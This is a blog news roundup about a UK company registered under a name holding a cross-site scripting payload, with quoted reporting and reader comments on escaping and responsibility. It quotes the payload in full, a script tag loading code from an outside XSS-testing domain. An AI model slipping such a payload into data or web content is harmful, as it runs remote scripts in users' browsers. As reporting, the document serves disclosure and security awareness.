Great British Prank: Company Name Contains XSS Hack
A British company name was registered that contains a cross-site scripting (XSS) attack. The prankster responsible noticed that the characters he used were—while unusual—strictly legal.
UK company names are public information, accessible via an API on many other websites. But some of them aren’t hardened to resist XSS, which would present a security risk. So a $15 online application is all it took.
Companies House, the government agency responsible, nuked the name—but only after people pointed it out. In today’s SB Blogwatch, we point the finger.
Your humble blogwatcher curated these bloggy bits for your entertainment. Not to mention: Smash Teeth.
Ob. Bobby Tables
What’s the craic? Gareth Corfield reports—“Why, yes, you can register an XSS attack as a UK company name.”:
The company in question, registered number 12956509, was originally signed up with the UK’s official company registrar under the name:
">< SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD
… Anyone reading company names off the Companies House API would potentially run a script from the web address.
…
Whoever registered the company seems to have had non-hostile intentions – xss.ht is a domain owned by the [white hat] XSS Hunter service. … Company number 12956509 is now called “THAT COMPANY WHOSE NAME USED TO CONTAIN HTML SCRIPT TAGS LTD”
Clear as mud? “Little” Alex Hern explains—“Company forced to change name”:
By beginning the name with a quotation mark and chevron, any site which failed to properly handle the HTML code would have mistakenly thought the company name was blank, and then loaded and executed a script from the site XSS Hunter, which helps developers find cross-site scripting errors. That script would have simply put up a harmless alert – but it serves as proof that a malicious attacker could instead have used the same weakness as a gateway to more damaging ends.
…
A Companies House spokesperson said: “A company was registered using characters that could have presented a security risk to a small number of our customers. … We have taken immediate steps to mitigate this risk and have put measures in place to prevent a similar occurrence. We are confident that Companies House services remain secure.”
Which prankster was responsible? This sort of thing is usually the work of Adrian Kennard—@TheRealRevK:
Not I, sadly. [But] I did have ((💩)) Ltd.
Oh, wait, I see. The good Doctor Michael Tandy claims it was his doing:
That company name is valid under the relevant legislation. If you ask me the real problem here is all the websites who deal with company directors’ PII but who don’t anticipate one of the most widely known issues and basic issues in information security, present in the OWASP Top 10 every year from 2003 to today.
…
I did agree to the renaming. I had assumed I wouldn’t be the first person to use < and > (they are, after all, both explicitly whitelisted as legal characters) and that 99% of systems would already be escaping them. … I would just get a company with a playful name that would elicit a knowing chuckle from the kind of people we’d be doing business with.
…
Once it turned out there were non-trivial problems, and that fact became more widely publicised … who can object to a large holder of PII being especially energetic in their response to a security issue?
Is that fair? HetMes agrees:
If a simple rejection of particular sequences of characters for a business name reduces security risks for possibly millions of people, then I’m all for that. Or we just could force all those thousands of unemployed software engineers everyone is always talking about into slavery to shore up security in the local library’s database and web interface, free of charge.
Can we fix it? You can’t get there from here. KMag blames inherent web stuff:
Since the days of phone phreaking, we’ve known in-band signalling is just a terrible idea. Any time a legal message token/signal/sequence in your data payload can escape data to metadata/code status, encapsulation complexity goes way up and at least one implementer is going to screw something up in a bad way. XSS was entirely predictable from the design of <script> tags and onload, onclick, etc. handler HTML tag attributes.
But Graham Cobb asks, rhetorically—“What is wrong with this?”:
If Companies House, and their APIs, cannot handle suitable quoting schemes then they should fix them PDQ. If people download the data and can’t handle suitable quoting then they don’t deserve to be in whatever business they are in and probably have MUCH more serious problems handling other data. Like personal data.
…
Companies which don’t do it [right] probably aren’t handling other IT processes correctly either. Am I missing something?
And DarkOx has a similar thought:
Others … might make dumb decisions like “I can trust the data because its coming from a state agency.” This is the reality of interoperating with other systems.
…
Even if your system does everything right, you still get black eye and get blamed as often as not. Maybe your web service returns a nice JSON blob with everything correctly escaped for JSON, maybe you explicitly stated in the documentation, that content is not neutralized for HTML. Guess what when some bank blindly sets the CompanyName string you send to the .innerHTML property of some DOM object they will still call you and complain if something bad happens.
Still unsure? kps is feeling hazy: [You’re fired—Ed.]
In another era, “+++ATH” would have been a good name.
Meanwhile, TeeCee contributes a tee-hee:
Like Companies House, the various national registration bodies for racehorses also ensure that nothing naughty is allowed. Occasionally one slips through, like the Aussie nag “Hoof Hearted”. Innocently horsey enough, until you shout it rapidly and repeatedly like, for example, a commentator as it approaches the line in first place.
And Finally:
All Star, but the singer’s a toothbrush
You have been reading SB Blogwatch by Richi Jennings. Richi curates the best bloggy bits, finest forums, and weirdest websites … so you don’t have to. Hate mail may be directed to @RiCHi or [email protected]. Ask your doctor before reading. Your mileage may vary. E&OE. 30.
Image sauce: Adrian Clark (cc:by-nd)
